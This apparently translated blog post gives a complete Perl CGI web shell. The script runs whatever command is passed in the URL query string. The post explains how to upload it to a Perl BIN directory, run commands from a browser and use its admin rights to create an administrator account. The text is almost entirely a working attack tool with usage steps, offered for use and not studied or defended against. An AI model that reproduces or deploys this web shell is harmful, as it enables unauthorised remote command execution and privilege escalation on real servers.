perl elevated privileges





c:\prel, sometimes not necessarily this directory (you can also see the properties by downloading the shortcut) and put it in the BIN directory under the PERL directory with cgi's webshell


#!/usr/bin/perl
binmode(STDOUT);
syswrite (STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig ;
$execthis = $_;
syswrite(STDOUT, "
\r\n", 13);open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";system($execthis);syswrite(STDOUT , "\r\n\r\n", 17);
close(STDERR);
close(STDOUT);
exit;




save as cmd.pl and upload it to the BIN directory for execution,


(if it doesn't work, you can try changing to cgi extension Then, change the pl file just now to a cgi file)
Submit http://anyhost//cmd.pl?dir in the IE browser window to start executing the command, please note that this SHELL has ADMIN authority and
can add an account And join the administrator group, the writing rule is to add the command you need to execute after the ?

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=325729770&siteId=291194637